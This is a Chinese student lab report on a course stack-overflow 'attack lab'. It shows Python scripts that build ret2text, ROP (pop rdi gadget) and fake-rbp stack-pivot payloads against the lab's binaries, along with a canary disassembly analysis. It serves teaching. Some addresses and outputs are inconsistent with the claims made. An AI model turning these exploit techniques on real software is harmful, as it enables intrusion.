

1. 栈溢出攻击实验报告

题目解决思路

Problem 1:

分析:

通过分析 `objdump` 生成的 `p1.asm` 代码, 发现 `func` 函数中存在栈溢出漏洞。

- 栈空间分配: `sub $0x20, %rsp`, 缓冲区位于 `rbp-8`。
- 返回地址位置: `rbp+8`。
- 溢出距离: 从缓冲区起始位置 (`rbp-8`) 到返回地址 (`rbp+8`) 的距离为 $8 + 8 = 16$ 字节。
- 目标: 将返回地址覆盖为 `func1` 函数的地址 (`0x401216`), 该函数会调用 `puts` 输出 "Yes!! like ICS!"。

解决方案:

使用 Python 脚本构造 Payload。填充 16 字节的垃圾数据 (Padding), 紧接着拼接 `func1` 的地址 (小端序)。

```
import struct
# 1. Padding: 16字节 (8字节Buffer + 8字节Old RBP)
padding = b"A" * 16
# 2. Target Address: func1 (0x401216)
target_addr = struct.pack("<Q", 0x401216)

payload = padding + target_addr
with open("ans1.txt", "wb") as f:
    f.write(payload)
```

结果:

运行 `./problem1 ans1.txt`, 成功输出目标字符串。

```
rc@LAPTOP-F15A51GV:~/-/attack-lab-rc-zsz$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

分析:

本题开启了 NX 保护 (栈不可执行), 且 `func2` 函数会对参数进行检查: `cmpb $0x3f8, -0x4(%rbp)`。我们不能直接跳转, 而是需要先将参数 `0x3f8` 传入 `%rdi` 寄存器 (x86-64 调用约定的第一个参数), 然后再跳转到 `func2`。

- 溢出距离: 同 Problem 1, 依然是 16 字节。
- Gadget: 在 `0x4012c7` 发现 `pop %rdi; ret` 指令序列, 可用于将栈上的数据弹入 `%rdi`。

解决方案:

构造 ROP 链: `Padding (16B) -> Gadget地址 -> 参数(0x3f8) -> func2地址`。

```
import struct
# 1. Padding
padding = b"A" * 16
# 2. Gadget: pop rdi; ret (0x4012c7)
pop_rdi = struct.pack("<Q", 0x4012c7)
# 3. Parameter: 0x3f8
param = struct.pack("<Q", 0x3f8)
# 4. Target: func2 (0x401216)
func2 = struct.pack("<Q", 0x401216)

payload = padding + pop_rdi + param + func2
with open("ans2.txt", "wb") as f:
    f.write(payload)
```

○ 结果:

运行 `./problem2 ans2.txt`, 成功绕过参数检查并输出字符串。

```
rc@LAPTOP-F15A51GV:~/-/attack-lab-rc-zszz$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

○ 分析:

本题目标是输出 "114"。虽然题目提示无保护, 但环境开启了 NX, 且栈地址随机。

- **漏洞点:** `func` 函数中 `memcpy` 导致溢出, 但限制写入长度为 56 字节。
- **目标逻辑:** `func1` (0x401216) 会检查 `%edi` 是否为 0x72。
- **策略:** 由于需要设置寄存器且栈空间受限, 利用 `mov_rdi` 函数中的 Gadget (`mov -0x8(%rbp), %rax; mov %rax, %rdi; ret`)。该 Gadget 依赖 `rbp` 来寻址参数。
- **地址定位:** 通过 GDB Core Dump 获取程序崩溃时的真实栈地址 (`rsp`), 计算出缓冲区绝对地址, 通过伪造 `rbp` (Stack Pivoting) 让 Gadget 读取到正确的参数。

○ 解决方案:

伪造 `rbp` 指向缓冲区, 配合 Gadget 设置 `rdi=0x72`, 最后跳转 `func1`。

```
import struct

func1_addr = 0x401216
gadget_addr = 0x4012e6 # mov -0x8(%rbp), %rax; mov %rax, %rdi; ret

stack_ret_addr = 0x7fffffff968
buffer_addr = stack_ret_addr - 40
fake_rbp = buffer_addr + 8 # 让 rbp-8 指向 buffer 开头

# Payload 结构
# 1. 参数 0x72 (位于 buffer 开头)
payload = struct.pack("<Q", 0x72)
# 2. Padding
payload += b"A" * 24
# 3. 覆盖 RBP 为 Fake RBP
```

```

payload += struct.pack("<Q", fake_rbp)
# 4. 覆盖 Ret Addr 跳转到 Gadget
payload += struct.pack("<Q", gadget_addr)
# 5. Gadget 返回后跳转 func1
payload += struct.pack("<Q", func1_addr)
# 6. 对齐填充
payload += b"B" * 8

with open("ans3.txt", "wb") as f:
    f.write(payload)

```

○ **结果:**

使用 `setarch $(uname -m) -R ./problem3 ans3.txt` 运行, 成功输出 "Your lucky number is 114".

```

rc@LAPTOP-F15A51GV:~/attack-lab-rc-zsz$ setarch $(uname -m) -R ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
_

```

Problem 4:

○ **分析:**

本题无需编写攻击代码。通过反汇编 `p4.asm`, 可以观察到金丝雀的具体实现。

■ **Canary 设置 (入栈):**

在 `caesar_decrypt` 函数开头 (121c):

```

121c: mov     %fs:0x28,%rax    ; 从 TLS 获取随机 Canary 值
1225: mov     %rax,-0x8(%rbp)  ; 存入栈底 (rbp-8)

```

■ **Canary 检查 (出栈):**

在函数返回前 (1306):

```

1306: mov     -0x8(%rbp),%rax  ; 取出栈中的 Canary
130a: sub     %fs:0x28,%rax    ; 与原值比较
1313: je      131a             ; 相等则跳转 (正常返回)
1315: call    __stack_chk_fail ; 不相等则报错退出

```

- **原理:** Canary 位于缓冲区和返回地址之间。发生栈溢出时, Canary 必然先被覆盖。程序返回前检查 Canary 是否改变, 从而检测并阻止攻击。

○ **解决方案:**

直接运行程序, 根据程序内部逻辑 (`main` 函数中调用 `caesar_decrypt` 解密并输出 flag), 输入任意字符触发流程即可获得通关提示。

○ **结果:**

程序输出解密后的通关提示: "If you give me yuanshi i will give you good scores".

```
rc@LAPTOP-F15A51GV:~/-/attack-lab-rc-zsz$ ./problem4
hi please tell me what is your name?
1
hi! do you like ics?
1
if you give me enough yuanshi,I will let you pass!
no
```

```
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
your money is 0
your money is not enough!
```

思考与总结

本次实验从基础的 ret2text 开始，逐步深入到 bypass NX 和 Canary 保护分析。

1. **GDB 的重要性**：在 Problem 3 中，由于栈地址的不确定性，静态分析无法获得精确地址。通过生成 Core Dump 并在 GDB 中调试，我学会了如何获取程序运行时真实的栈指针 (`rsp / rbp`)，这对于构造精密的 ROP 链至关重要。
2. **保护机制的攻防**：NX 保护使得 Shellcode 失效，强迫我们使用 ROP 技术复用代码段；而 Canary 保护则通过随机值有效阻断了连续的栈溢出。理解这些机制有助于编写更安全的代码。
3. **对齐与细节**：在利用 Gadget 时，对 `rbp` 的伪造需要精确计算偏移量，任何一个字节的偏差都会导致段错误，这体现了二进制安全对精确性的极高要求。

参考资料